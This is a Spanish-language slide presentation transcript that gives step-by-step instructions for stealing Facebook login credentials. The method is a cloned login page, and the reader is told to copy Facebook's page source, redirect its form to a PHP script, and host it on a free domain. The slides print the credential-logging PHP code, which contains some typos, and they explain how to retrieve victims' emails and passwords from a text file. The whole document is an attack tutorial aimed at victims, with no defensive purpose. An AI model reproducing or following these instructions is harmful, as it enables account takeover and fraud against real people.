HACKEAR CUENTA FACEBOOK USANDO PHISHING. HACKEAR CUENTA FACEBOOK CREANDO UN CLON DE LA PAGINA PARA PHISHING En el navegador que utilizas habitualmente,

Presentación del tema: "HACKEAR CUENTA FACEBOOK USANDO PHISHING. HACKEAR CUENTA FACEBOOK CREANDO UN CLON DE LA PAGINA PARA PHISHING En el navegador que utilizas habitualmente,"— Transcripción de la presentación:

1 HACKEAR CUENTA FACEBOOK USANDO PHISHING

2 HACKEAR CUENTA FACEBOOK CREANDO UN CLON DE LA PAGINA PARA PHISHING En el navegador que utilizas habitualmente, entrar a https://www.facebook.com/, hacer click con el botón derecho del mouse y seleccionar “ver código fuente de la página”https://www.facebook.com/

3 Se abrirá otra ventana con mucho texto, seleccionamos y copiamos todo. Abrir el block de notas y pegar todo esto ahí.

4 Con la opción “buscar” o con CTRL + F buscar la cadena la cadena “action=” dentro del extenso código:

5 Como se observa en la imagen, la cadena “action=” apunta a una web donde se solicita que el usuario entre sus datos para el login. Hay que modificar esto reemplazando todo el texto que se muestra en el rectángulo rojo de la imagen anterior, por “next.php”. Después de la función “action” se indica el método, en la imagen encerrado en un óvalo rojo como “method=post”. Hay que reemplazar la palabra “post” por “mail”. Quedará como se muestra en la imagen siguiente:

6 Ahora guardar este documento de bloc de notas como “index.html” A continuación, hay que crear el script mencionado llamado “next.php”. Abrir un nuevo documento en el bloc de notas y pegar allí este código: COPIA Y PEGA ESTE CODIGO – <?php – header(“Location: http://www.Facebook.com/login.php “); – $handle = fopen(“yaeresmio.txt”, “a”); – foreach($_GET as $variable => $value) { – fwrite($handle, $variable); – fwrite($handle, “=”); – fwrite($handle, $value); – fwrite($handle, “\r\n”); – } – frité($ande, “\r\n”); – fclose($handle); – exit

7 Guardar el archivo llamándolo “next.php” El siguiente paso es abrir otro documento nuevo del bloc de notas, llamarlo “yaeresmio.txt” y guardarlo en blanco, sin ningún texto escrito. Es necesario que tengamos algún dominio o subdominio y hosting. Si tienes uno de pago, mejor, ellos cuentan con servicio de redirección que ocultará tu ir. Sino, utiliza uno gratuito como este ya que es improbable que el usuario a quien deseas hackear cuenta Facebook sepa requerir ese dato. En el hosting elegido si es nuevo, hay que registrarse y elegir un dominio sino se tiene uno. En caso de ya poseer dominio y hosting, elegir un subdominio como se ve en la imagen de un hosting de ejemplo:

8

9 Verificar que el servicio gratuito tenga servicios de función php para que se ejecute el script que creamos. Luego, ir a la sección FTP para subir nuestros archivos. Ejemplo:

10 En la siguiente imagen ya se han subido los 3 archivos creados al hosting gratuito:

11 En el ejemplo el dominio elegido es falsofbweb.esv.es. Probar si el dominio que se ha elegido funciona entrando en él. Puede ocurrir que haya que corregir algunos detalles. Por ejemplo los acentos en el archivo de texto next.php, como se muestra en la imagen:

12 CHEQUEAR FUNCIONAMIENTO Probar si funciona intentando logguearse con el Facebook propio. Lo que pasará es que se nos redirigirá a una página oficial de Facebook donde se nos dice que hemos escrito mal la contraseña:

13 Si ahora nos dirigimos a nuestro hosting y abrimos el archivo “yaeresmio.txt”, vemos que ahí ha quedado guardada la dirección de mail y contraseña que acabamos de escribir. Eso es lo que pasará cuando la víctima haga lo mismo en la página clon que acabamos de crear.